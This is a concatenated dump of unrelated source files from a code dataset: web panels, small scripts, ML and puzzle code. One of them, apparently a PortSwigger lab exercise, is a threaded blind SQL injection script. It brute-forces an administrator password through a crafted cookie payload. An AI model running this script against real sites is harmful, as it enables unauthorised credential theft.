getEmpleadoByID(bd, idEmpleado), tuplaReferencia[1],\r\n tuplaReferencia[2], tuplaReferencia[3], tuplaReferencia[4], tuplaReferencia[5])\r\n referencias.append(referencia)\r\n return referencias\r\n except Exception as e:\r\n print(\"Error en getReferenciasEmpleado \", e)\r\n","sub_path":"Implementacion/Referencia.py","file_name":"Referencia.py","file_ext":"py","file_size_in_byte":5047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"548933689","text":"from django.urls import path\nfrom .import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\napp_name = 'internapp'\n\nurlpatterns=[\n path('',views.home.as_view(),name=\"home\"),\n path('register_user/',views.register_user,name=\"register_user\"),\n path('about/',views.about.as_view(),name=\"about\"),\n path('user_logout/',views.user_logout,name=\"user_logout\"),\n path('register_doctor/',views.register_doctor,name=\"register_doctor\"),\n path('user_login/',views.user_login,name=\"user_login\"),\n path('contact/',views.contact,name=\"contact\"),\n path('login_user',views.login_user,name=\"login_user\"),#jab href mein primary key send karte hain don't put / at end in path\n path('login_user',views.login_user,name=\"login_user\"),\n path('login_user_detail/',views.login_user_detail,name=\"login_user_detail\"),\n path('login_doctor',views.login_doctor,name=\"login_doctor\"),\n path('login_doctor_update_appointment/',views.login_doctor_update_appointment,name=\"login_doctor_update_appointment\"),\n path('std_login_required',views.std_login_required,name=\"std_login_required\"),\n]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n","sub_path":"internapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"489516952","text":"from sklearn import datasets\nfrom sklearn import linear_model\nfrom sklearn.model_selection import train_test_split\nfrom matplotlib import pyplot as plt\n\nboston = datasets.load_boston()\n\n# feature and labels\nX = boston.data\ny = boston.target\n\n# Split\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2)\n\nl_reg = linear_model.LinearRegression()\n\n# ploting\nplt.scatter(X.T[5], y)\nplt.show()\n\n# model creation\nmodel = l_reg.fit(X_train, y_train)\n\npredictions = model.predict(X_test)\n\nprint('Predictions: ', predictions)\n\nprint('R^2: ', l_reg.score(X,y))\nprint('coeff: ', l_reg.coef_)\nprint('intercept: ', l_reg.intercept_)","sub_path":"linearreg.py","file_name":"linearreg.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"541630477","text":"# Menu Based Calculator to perform addition, subtraction, multiplication & division\r\n\r\nprint(\"Welcome to my calculator\")\r\n\r\nNumber1 = int(input('Enter the 1st Number : '))\r\nNumber2 = int(input('Enter the 2nd Number : '))\r\n\r\nwhile(1) :\r\n print(\"\\n Select Operation\")\r\n print(\" 1.Addition \\n 2.Subtraction \\n 3.Multiplication \\n 4.Division \\n 5.Square \\n 6.Exit\")\r\n Choice = int(input(\"Select Your Opeartion : 1(Addition), 2(Subtraction), 3(Multipliction), 4(Division, 5(Sqaure) and 6(Exit) : \"))\r\n\r\n if Choice == 1 :\r\n Result = Number1 + Number2\r\n print(Number1, \"+\", Number2, \"=\" ,Result)\r\n\r\n elif Choice ==2 :\r\n Result = Number1 - Number2\r\n print(Number1, \"-\", Number2, \"=\", Result)\r\n\r\n elif Choice ==3 :\r\n Result = Number1 * Number2\r\n print(Number1, \"x\", Number2, \"=\", Result)\r\n\r\n elif Choice ==4 :\r\n Result = Number1 / Number2\r\n print(Number1, \"/\", Number2, '=', Result)\r\n\r\n elif Choice == 5:\r\n Result = Number1*Number1\r\n Result1 = Number2*Number2\r\n print(\"Square of\", Number1, \"=\", Result)\r\n print(\"Square of\", Number2, \"=\", Result1)\r\n\r\n else:\r\n print(\"Please Select a Valid Option\")\r\n break","sub_path":"Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"585009806","text":"import requests\nfrom requests.exceptions import RequestException\nimport os\n\n\ndef main():\n offset = 0\n limit = 50\n flag = True\n while flag:\n print(offset)\n base_url = f\"https://www.dongchedi.com/motor/car_show/v1/get_sells_rank/?month=202104&rank_type=100&limit={limit}&city_name=%E5%90%88%E8%82%A5&offset={offset} \"\n data_json = get_url(base_url)\n path = \"../懂车帝\"\n if not os.path.exists(path):\n os.mkdir(path)\n for i in data_json['data']['list']:\n file_name = f\"{path}/{i['rank']}-{i['series_name']}.png\"\n with open(file_name, 'wb') as f:\n f.write(requests.get(i['image']).content)\n f.close()\n offset += limit\n if not data_json['data']['paging']['has_more']:\n break\n print(\"爬取完毕\")\n\n\ndef get_url(base_url):\n headers = {\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/90.0.4430.212 Safari/537.36 \"\n }\n try:\n r = requests.get(base_url, headers=headers)\n if r.status_code == 200:\n return r.json()\n else:\n return None\n except RequestException:\n return None\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/爬取懂车帝销量排行榜图片.py","file_name":"爬取懂车帝销量排行榜图片.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"406933655","text":"import hashlib\n\ndef main(): \n m = hashlib.md5()\n code = \"\"\n count = 0\n \n for i in range(0, 1000000000):\n m = hashlib.md5()\n input = \"uqwqemis\" + str(i)\n \n m.update(input.encode(encoding='utf_8', errors='strict'))\n if(m.hexdigest()[0:5] == \"00000\"):\n code = code + m.hexdigest()[5]\n count = count + 1\n \n if(count > 7):\n break\n \n print(code)\n \nif __name__ == '__main__':\n main()\n","sub_path":"Day5/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"623245644","text":"# -*- coding: utf-8 -*-\n#########################################################################################\n## Teeworlds Web Panel\n## Copyright (C) 2015-2017 Alexandre Díaz\n##\n## This program is free software: you can redistribute it and/or modify\n## it under the terms of the GNU Affero General Public License as\n## published by the Free Software Foundation, either version 3 of the\n## License.\n##\n## This program is distributed in the hope that it will be useful,\n## but WITHOUT ANY WARRANTY; without even the implied warranty of\n## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n## GNU Affero General Public License for more details.\n##\n## You should have received a copy of the GNU Affero General Public License\n## along with this program. If not, see . \n#########################################################################################\nimport twpl\nfrom twp import twp, SUPERUSER_ID, check_session, get_session_user,\\\n get_session_server_permission_level, allowed_file, start_server_instance\nimport re, os, time, signal, shutil\nfrom datetime import datetime\nfrom io import open\nfrom flask import request, session, redirect, url_for, render_template, \\\n flash, jsonify, current_app\nfrom flask_babel import Babel, _, format_datetime\nfrom sqlalchemy import func, desc, asc\nfrom werkzeug import secure_filename\nfrom twpl.models import *\n\n\n#################################\n# GET\n#################################\n@twp.route('/settings', methods=['GET'])\n@check_session(level='user')\ndef settings():\n session['prev_url'] = request.path;\n \n users = User.query.filter(User.token == None).order_by(asc(User.id)).all()\n users_token = User.query.filter(User.token != None).order_by(asc(User.id)).all()\n permission_levels = PermissionLevel.query.order_by(asc(PermissionLevel.id)).all()\n servers = ServerInstance.query\n return render_template('pages/settings.html', users=users, servers=servers,\n users_token=users_token, \n permission_levels=permission_levels)\n\n\n@twp.route('/log///', methods=['GET'])\n@check_session(level='user')\ndef log(srvid, code, name):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.log:\n srv = ServerInstance.query.get(srvid)\n netinfo = None\n logdate = None\n if srv:\n log_file = r'%s/%s/logs/%s-%s' % (current_app.config['SERVERS_BASEPATH'], srv.base_folder, code, name)\n if not os.path.isfile(log_file):\n flash(_('Logfile not exists!'), \"danger\")\n else:\n dt = datetime.fromtimestamp(time.mktime(time.localtime(int(code, 16))))\n logdate = format_datetime(dt)\n netinfo = twpl.get_server_net_info(\"127.0.0.1\", [srv])[0]['netinfo']\n else:\n flash(_('Server not found!'), \"danger\")\n return render_template('pages/log.html', ip=PUBLIC_IP, server=srv, logcode=code, logname=name, logdate=logdate)\n return redirect(url_for('twp.overview'))\n\n\n\n#################################\n# POST\n#################################\n@twp.route('/_set_user_password', methods=['POST'])\n@check_session(level='user')\ndef set_user_password(): \n if 'pass_new' in request.form and 'pass_old' in request.form:\n dbuser = User.query.filter(User.id==session['uid'], \n User.password==twpl.str_sha512_hex_encode(str(request.form['pass_old']))).one()\n if dbuser:\n dbuser.password = str(request.form['pass_new'])\n db_add_and_commit(dbuser)\n return jsonify({'success':True})\n return jsonify({'error':True, 'errormsg':_('Error: Can\\'t change password. '+\\\n 'Check settings and try again.')})\n else:\n return jsonify({'error':True, 'errormsg':_('Error: Old or new password not defined!')})\n\n\n@twp.route('/_upload_maps/', methods=['POST'])\n@check_session(level='user')\ndef upload_maps(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.config:\n srv = ServerInstance.query.get(srvid)\n if srv:\n download_folder = r'%s/%s/data/maps' % (current_app.config['SERVERS_BASEPATH'], srv.base_folder)\n if not os.path.isdir(download_folder):\n os.makedirs(download_folder)\n\n if 'file' in request.files:\n file = request.files['file']\n if file and allowed_file(file.filename):\n filename = secure_filename(file.filename)\n file.save(os.path.join(current_app.config['UPLOAD_FOLDER'], filename))\n fullpath = r'%s/%s' % (current_app.config['UPLOAD_FOLDER'], filename)\n if filename.lower().endswith(\".map\"):\n if twpl.is_text_file(fullpath):\n return jsonify({'error':True, 'errormsg': 'Invalid Map: Corrupted!'})\n try:\n fullpath_download = r'%s/%s' % (download_folder, filename)\n if os.path.exists(fullpath_download):\n os.remove(fullpath_download)\n shutil.move(fullpath, fullpath_download)\n except Exception as e:\n return jsonify({'error':True, 'errormsg':str(e)})\n elif not twpl.extract_maps_package(fullpath, download_folder, True):\n return jsonify({'error':True, 'errormsg':_('Invalid map package')})\n db_create_server_staff_registry(srv.id, \"Uploaded new maps ({0})\".format(filename))\n return jsonify({'success':True})\n else:\n return jsonify({'error':True, 'errormsg':_('Error: Can\\'t upload selected maps')})\n else:\n return jsonify({'error':True, 'errormsg':_('Error: No file detected!')})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not exists!')})\n else:\n return jsonify({'error':True, 'errormsg':_('Error: You haven\\'t permissions for upload new maps!')})\n\n\n@twp.route('/_remove_map/', methods=['POST'])\n@check_session(level='user')\ndef remove_map(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.config:\n if 'map' in request.form:\n map = request.form['map']\n srv = ServerInstance.query.get(srvid)\n if srv:\n fullpath = r'%s/%s/data/maps/%s.map' % (current_app.config['SERVERS_BASEPATH'],srv.base_folder,map)\n if os.path.isfile(fullpath):\n os.unlink(fullpath)\n db_create_server_staff_registry(srv.id, \"Removed the map '{0}'\".format(map))\n return jsonify({'success':True})\n return jsonify({'error':True, 'errormsg':_('Error: Map not exists!')})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not found!')})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Map not defined!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_set_server_binary//', methods=['POST'])\n@check_session(level='user')\ndef set_server_binary(srvid, binfile):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.start:\n srv = ServerInstance.query.get(srvid)\n # Check that is a correct binary name (exists in mod folder)\n srv_bins = twpl.get_mod_binaries(current_app.config['SERVERS_BASEPATH'], srv.base_folder)\n if not srv_bins == None and binfile in srv_bins:\n srv.bin = binfile\n db_add_and_commit(srv)\n return jsonify({'success':True})\n return jsonify({'invalidBinary':True})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_save_server_config/', methods=['POST'])\n@check_session(level='user')\ndef save_server_config(srvid): \n user_perm = get_session_server_permission_level(srvid)\n if user_perm.config:\n alaunch = 'alsrv' in request.form and request.form['alsrv'] == 'true'\n srvcfg = request.form['srvcfg'];\n srv = ServerInstance.query.get(srvid)\n if srv:\n cfgbasic = twpl.parse_data_config_basics(srvcfg)\n \n srvMatch = ServerInstance.query.filter(ServerInstance.base_folder.ilike(srv.base_folder), \n ServerInstance.port.ilike(cfgbasic['port']), \n ServerInstance.id!=srvid)\n if srvMatch.count() > 0:\n return jsonify({'error':True, \\\n 'errormsg':_(\"Can't exist two servers with the same 'sv_port' in the same MOD.
\"+\\\n \"Please check configuration and try again.\")})\n \n # Check if the logfile are be using by other server with the same base_folder\n if cfgbasic['logfile']:\n srvMatch = ServerInstance.query.filter(ServerInstance.base_folder.ilike(srv.base_folder), \n ServerInstance.logfile.ilike(cfgbasic['logfile']), \n ServerInstance.id!=srvid)\n if srvMatch.count() > 0:\n return jsonify({'error':True, \n 'errormsg':_(\"Can't exist two servers with the same log file.
\"+\\\n \"Please check configuration and try again.\")})\n \n srv.alaunch = alaunch\n srv.port = cfgbasic['port']\n srv.name = cfgbasic['name']\n srv.gametype = cfgbasic['gametype']\n srv.visible = False if cfgbasic['register'] and cfgbasic['register'] == '0' else True\n srv.public = False if cfgbasic['password'] else True\n srv.logfile = cfgbasic['logfile']\n srv.econ_port = cfgbasic['econ_port']\n srv.econ_password = cfgbasic['econ_pass']\n db_add_and_commit(srv)\n \n try:\n cfgfile = open(r'%s/%s/%s' % (current_app.config['SERVERS_BASEPATH'],srv.base_folder,srv.fileconfig), \"w\")\n cfgfile.write(srvcfg)\n cfgfile.close()\n except IOError as e:\n return jsonify({'error':True, 'errormsg':str(e)})\n res = {'success':True, 'cfg':cfgbasic, 'id':srvid, 'status': srv.status, 'alaunch': alaunch}\n res.update(cfgbasic)\n db_create_server_staff_registry(srv.id, 'Modified the configuration')\n return jsonify(res)\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not exists!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_get_server_config/', methods=['POST'])\n@check_session(level='user')\ndef get_server_config(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.config:\n srv = ServerInstance.query.get(srvid)\n if srv:\n ## Config File Text\n fullpath_fileconfig = r'%s/%s/%s' % (current_app.config['SERVERS_BASEPATH'],srv.base_folder,srv.fileconfig)\n (filename, rest) = srv.fileconfig.split('.', 1)\n if os.path.exists(fullpath_fileconfig):\n try:\n cfgfile = open(fullpath_fileconfig, \"r\")\n srvcfg = cfgfile.read()\n cfgfile.close()\n except IOError as e:\n srvcfg = str(e)\n else:\n srvcfg = \"\"\n \n return jsonify({'success':True, 'alsrv':srv.alaunch, 'srvcfg':srvcfg, 'fileconfig':filename})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not exists!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_get_server_issues/', methods=['POST'])\n@twp.route('/_get_server_issues//', methods=['POST'])\n@check_session(level='user')\ndef get_server_issues(srvid, page=0):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.issues:\n RPP = 10\n dbissues = Issue.query.filter(Issue.server_id==srvid).order_by(desc(Issue.date))\n numpages = int(dbissues.count()/RPP)\n dbissues_page = dbissues.offset(RPP*page).limit(RPP)\n issues = [(format_datetime(dbissue.date, 'short'), dbissue.message) for dbissue in dbissues_page]\n return jsonify({'success':True, 'issues':issues, 'pages':numpages})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_get_server_issues_count/', methods=['POST'])\n@check_session(level='user')\ndef get_server_issues_count(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.issues:\n issues_count = Issue.query.filter(Issue.server_id==srvid).count()\n return jsonify({'success':True, 'issues_count':issues_count})\n return jsonify({})\n\n\n@twp.route('/_get_server_maps/', methods=['POST'])\n@check_session(level='user')\ndef get_server_maps(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.config:\n srv = ServerInstance.query.get(srvid)\n if srv: \n ## Maps\n maps = twpl.get_mod_maps(current_app.config['SERVERS_BASEPATH'], srv.base_folder)\n return jsonify({'success':True, 'maps':maps})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not exists!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_get_mod_configs/', methods=['POST'])\n@check_session(level='user')\ndef get_mod_configs(mod_folder):\n jsoncfgs = {'configs':[]}\n cfgs = twpl.get_mod_configs(current_app.config['SERVERS_BASEPATH'], mod_folder)\n for config in cfgs:\n srv = ServerInstance.query.filter(ServerInstance.fileconfig.ilike(config),\n ServerInstance.base_folder.ilike(mod_folder))\n if srv.count() < 1:\n jsoncfgs['configs'].append(os.path.splitext(config)[0])\n return jsonify(jsoncfgs)\n\n\n@twp.route('/_get_mod_wizard_config/', methods=['POST'])\n@check_session(level='user')\ndef get_mod_wizard_config(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.config: \n srv = ServerInstance.query.get(srvid)\n if srv:\n fullpath = r'%s/%s/config.json' % (current_app.config['SERVERS_BASEPATH'],srv.base_folder)\n if os.path.isfile(fullpath):\n cfgfile = open(fullpath, \"r\")\n config = cfgfile.read()\n cfgfile.close()\n return jsonify({'success':True, 'config':config})\n return jsonify({'success':True}) # Not exists, no problem\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not exists!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_start_server_instance/', methods=['POST'])\n@check_session(level='user')\ndef start_server(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.start: \n srv = ServerInstance.query.get(srvid)\n if srv:\n if not srv.bin:\n return jsonify({'error':True, 'errormsg':_('Undefined server binary file!!')})\n \n srvMatch = ServerInstance.query.filter(ServerInstance.status==1,\n ServerInstance.port.ilike(srv.port),\n ServerInstance.id!=srv.id)\n if srvMatch.count() > 0:\n return jsonify({'error':True, 'errormsg':_('Can\\'t run two servers in the same port!')})\n \n try:\n start_server_instance(srv.base_folder, srv.bin, srv.fileconfig)\n except Exception as e:\n return jsonify({'error':True, 'errormsg':str(e)})\n \n srv.launch_date = func.now()\n db_add_and_commit(srv)\n db_create_server_staff_registry(srv.id, 'Start server')\n time.sleep(1) # Be nice with the server...\n return jsonify({'success':True})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not exists!')})\n \n return jsonify({'notauth':True})\n\n\n@twp.route('/_stop_server_instance/', methods=['POST'])\n@check_session(level='user')\ndef stop_server(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.stop:\n dbserver = ServerInstance.query.get(srvid)\n if dbserver:\n binpath = r'%s/%s/%s' % (current_app.config['SERVERS_BASEPATH'], dbserver.base_folder, dbserver.bin)\n proc = twpl.search_server_pid(binpath, dbserver.fileconfig)\n if proc:\n os.kill(proc, signal.SIGTERM)\n db_create_server_staff_registry(dbserver.id, 'Stop server')\n return jsonify({'success':True})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Can\\'t found server pid')})\n else:\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not found!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_restart_server_instance/', methods=['POST'])\n@check_session(level='user')\ndef restart_server(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.start and user_perm.stop:\n stop_server(srvid)\n start_server(srvid)\n return jsonify({'success':True})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_get_server_instance_log//', methods=['POST'])\n@check_session(level='user')\ndef get_current_server_instance_log(srvid, pdate=None):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.log:\n srv = ServerInstance.query.get(srvid)\n if srv:\n logcontent = \"\"\n if not srv.logfile:\n return jsonify({'error':True, 'errormsg':_('Logfile not defined!')})\n try:\n if srv.logfile[0] == '/':\n fullpath = srv.logfile\n else:\n fullpath = r'%s/%s/%s' % (current_app.config['SERVERS_BASEPATH'],srv.base_folder,srv.logfile)\n \n cfgfile = open(fullpath, \"r\")\n logcontent = cfgfile.read()\n cfgfile.close()\n except Exception as e:\n return jsonify({'success':True, 'content':None, 'pages':None})\n \n datepages = dict()\n lines = logcontent.splitlines()\n logcontent = list()\n for line in lines:\n objMatch = re.match('^\\[(.+)\\]\\[(.+)\\]:\\s(.+)$',line)\n if objMatch:\n (date,section,message) = [int(objMatch.group(1), 16),objMatch.group(2),objMatch.group(3)]\n dt = datetime.utcfromtimestamp(time.mktime(time.localtime(date)))\n strDate = format_datetime(dt, \"dd-MM-yyyy\")\n if not strDate in datepages:\n datepages.update({strDate:1})\n else:\n datepages[strDate]+=1\n \n if strDate == pdate:\n type = None\n if re.match(\"^(?:client dropped|(?:.+\\s)?failed)\", message, re.IGNORECASE):\n type = 'danger'\n elif re.match(\"^No such command\", message, re.IGNORECASE):\n type = 'warning'\n elif re.match(\"^(?:player is ready|player has entered the game|loading done|client accepted|cid=\\d authed)\", message, re.IGNORECASE):\n type = 'success'\n logcontent.append({'date':format_datetime(dt, 'short'),\n 'section':section,\n 'message':message,\n 'type':type})\n \n return jsonify({'success':True, 'content':logcontent, 'pages':datepages})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not found!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_get_server_instance_log///', methods=['POST'])\n@check_session(level='user')\ndef get_selected_server_instance_log(srvid, code, name):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.log:\n srv = ServerInstance.query.get(srvid)\n if srv:\n logcontent = \"\"\n log_file = r'%s/%s/logs/%s-%s' % (current_app.config['SERVERS_BASEPATH'], srv.base_folder, code, name)\n if not os.path.isfile(log_file):\n return jsonify({'error':True, 'errormsg':_('Logfile not exists!')})\n try: \n cfgfile = open(log_file, \"r\")\n logcontent = cfgfile.read()\n cfgfile.close()\n except Exception as e:\n return jsonify({'success':True, 'content':None})\n \n lines = logcontent.splitlines()\n logcontent = list()\n for line in lines:\n objMatch = re.match('^\\[(.+)\\]\\[(.+)\\]:\\s(.+)$',line)\n if objMatch:\n (date,section,message) = [int(objMatch.group(1), 16),objMatch.group(2),objMatch.group(3)]\n dt = datetime.fromtimestamp(time.mktime(time.localtime(date)))\n type = None\n if re.match(\"^(?:client dropped|(?:.+\\s)?failed)\", message, re.IGNORECASE):\n type = 'danger'\n elif re.match(\"^No such command\", message, re.IGNORECASE):\n type = 'warning'\n elif re.match(\"^(?:player is ready|player has entered the game|loading done|client accepted|cid=\\d authed)\", message, re.IGNORECASE):\n type = 'success'\n logcontent.append({'date':format_datetime(dt),\n 'section':section,\n 'message':message,\n 'type':type})\n \n return jsonify({'success':True, 'content':logcontent})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not found!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_send_econ_command/', methods=['POST'])\n@check_session(level='user')\ndef send_econ_command(srvid):\n cmd = request.form['cmd'] if request.form.has_key('cmd') else None\n if not cmd:\n return jsonify({'error':True, 'errormsg':'ECon command not defined!'})\n \n user_perm = get_session_server_permission_level(srvid)\n if user_perm.econ:\n srv = ServerInstance.query.get(srvid)\n if srv and srv.econ_port and srv.econ_password:\n econ_cmd = cmd\n rcv = ''\n try:\n rcv = twpl.send_econ_command(int(srv.econ_port), srv.econ_password, econ_cmd)\n except Exception as e:\n return jsonify({'error':True, 'errormsg':str(e)})\n db_create_server_staff_registry(srv.id, \"Send ECon command '{0}'\".format(econ_cmd))\n return jsonify({'success':True, 'rcv':rcv})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not found or econ not configured!')})\n return jsonify({'notauth':True})\n\n\n@twp.route('/_kick_player/', methods=['POST'])\n@twp.route('/_ban_player/', methods=['POST'])\n@check_session(level='user')\ndef kick_ban_player(srvid):\n user_perm = get_session_server_permission_level(srvid)\n if user_perm.econ:\n if not 'nick' in request.form or not request.form['nick']:\n return jsonify({'error':True, 'errormsg':_('Client player not defined!')})\n \n srv = ServerInstance.query.get(srvid)\n if srv and srv.econ_port and srv.econ_password:\n nick = request.form['nick']\n action = 'ban' if request.path.startswith('/_ban_player/') else 'kick' \n try:\n if not twpl.send_econ_user_action(int(srv.econ_port), srv.econ_password, nick, action):\n return jsonify({'error':True, 'errormsg':_('Can\\'t found \\'{0}\\' player!').format(nick)}) \n except Exception as e:\n return jsonify({'error':True, 'errormsg':str(e)})\n db_create_server_staff_registry(srv.id, \"{0} '{1}' via ECon\".format(action.upper(),nick))\n return jsonify({'success':True})\n return jsonify({'error':True, 'errormsg':_('Invalid Operation: Server not found or econ not configured!')})\n return jsonify({'notauth':True})\n","sub_path":"webcontroller/private.py","file_name":"private.py","file_ext":"py","file_size_in_byte":25108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"515522545","text":"import threading\nimport requests\nimport urllib3\nimport random\nimport string\nimport queue\nimport sys\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nalphabet = list(string.ascii_lowercase)\nnumbers = list(range(0, 21))\nthreads = 50\n\ndef split(word):\n return list(word)\n\ndef load_payloads():\n while True:\n numbers = queue_positions.get() \n send_request(numbers[1], numbers[0])\n queue_positions.task_done()\n\ndef send_request(word, number):\n try:\n headers = {\n \"Cookie\": \"TrackingId=x' UNION SELECT 'a' FROM users WHERE username='administrator' AND substring(password,{position},1)='{words}'--\" \";session=h2a4aLrzrKbhNJCIC2YMl51JFobceTTL\".format(words=word,position=number)\n }\n request = requests.get(\n 'https://.web-security-academy.net',\n verify=True,\n headers=headers\n )\n if 'Welcome back!' in request.text:\n print('[+] Success {position}:{words}'.format(words=word,position=number))\n else:\n #print('[-] Not found {position}:{words}'.format(words=word,position=number))\n pass\n except Exception as err:\n print(\"[-] Exception: - \", err)\n \nqueue_positions = queue.Queue(threads * 2)\n\nfor i in range(threads):\n t = threading.Thread(target=load_payloads)\n t.start()\n\ntry:\n for number in split(numbers):\n for words in split(alphabet+numbers):\n queue_positions.put((number, words))\n queue_positions.join()\n\nexcept KeyboardInterrupt:\n sys.exit(1)","sub_path":"PortSwigger/sql_injection/blind_sqli_threading.py","file_name":"blind_sqli_threading.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"641459021","text":"\nfrom datetime import datetime\n\nfrom wtforms import StringField\nfrom wtforms.validators import ValidationError\n\ndef check_bounds(form, field):\n\n if field.data:\n\n # check that lower bound is smaller than the upper one\n if field.data[0] > field.data[1]:\n raise ValidationError(u\"La fecha de fin no puede ser menor que la de inicio\")\n\n # check that dates are greater than 1900 (a strftime requirement)\n if field.data[0].year < 1900:\n raise ValidationError(u\"La fechas deben ser posteriores a 1900\")\n\nclass DateRangeField(StringField):\n \"\"\" A field for a range of dates \"\"\"\n\n def __init__(self, label='', validators=[], format='%d-%m-%Y', separator=' - ', **kwargs):\n validators.append(check_bounds)\n super(DateRangeField, self).__init__(label, validators, **kwargs)\n self.format = format\n self.separator = separator\n\n def _value(self):\n try:\n start_date_str = self.data[0].strftime(self.format)\n end_date_str = self.data[1].strftime(self.format)\n return u'%s%s%s' % (start_date_str, self.separator, end_date_str)\n except (ValueError, TypeError):\n return u''\n\n def process_formdata(self, valuelist):\n if valuelist:\n start_date_str, end_date_str = valuelist[0].split(self.separator)\n start_date = datetime.strptime(start_date_str, self.format)\n end_date = datetime.strptime(end_date_str, self.format)\n self.data = (start_date, end_date)\n else:\n self.data = tuple()\n\n","sub_path":"src/lib/widgets/src/daterange.py","file_name":"daterange.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"126476319","text":"def solve(cad):\n num = int(cad)\n ct = 0\n for ele in cad:\n tmp = int(ele)\n if tmp != 0 and num % tmp == 0:\n ct += 1\n return ct\n\nif __name__ == '__main__':\n num_test_cases = int(input())\n for _ in range(num_test_cases):\n print(solve(input()))\n","sub_path":"HackerRank/Algorithms/Implementation/FindDigits/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"46413142","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# from __future__ import unicode_literals\nimport re\n\nfrom django.contrib.auth.models import (AbstractBaseUser, PermissionsMixin, BaseUserManager, UserManager)\nfrom django.core.mail import send_mail\nfrom django.core import validators\nfrom django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.utils import timezone\n\nclass CustomUser(AbstractBaseUser, PermissionsMixin):\n \"\"\"\n A custom user class that basically mirrors Django's `AbstractUser` class\n and doesn't force `first_name` or `last_name` with sensibilities for\n international names.\n\n http://www.w3.org/International/questions/qa-personal-names\n \"\"\"\n username = models.CharField(\n _('Username'),\n max_length=30,\n unique=True,\n help_text=_('Required. 30 characters or fewer. Letters, numbers and @/./+/-/_ characters'),\n validators=[\n validators.RegexValidator(re.compile('^[\\w.@+-]+$'), _('Enter a valid username.'), 'invalid')\n ]\n )\n first_name = models.CharField(\n _('First name'),\n max_length=254,\n blank=True,\n help_text=_('First name.'),\n\n )\n last_name = models.CharField(\n _('Last name'),\n max_length=30,\n blank=True,\n help_text=_('Last name.'),\n )\n email = models.EmailField(\n _('E-mail'),\n max_length=254,\n unique=True,\n help_text=_('E-mail.'),\n )\n cpf = models.CharField(\n _('CPF'),\n max_length=11,\n null=False,\n help_text=_('CPF.'),\n )\n is_staff = models.BooleanField(\n _('Staff status'),\n default=True,\n help_text=_('Designates whether the user can log into this admin site.')\n )\n is_active = models.BooleanField(\n _('Active'),\n default=True,\n help_text=_('Designates whether this user should be treated as active. Unselect this instead of deleting accounts.')\n )\n date_joined = models.DateTimeField(\n _('Date joined'),\n default=timezone.now\n )\n\n objects = 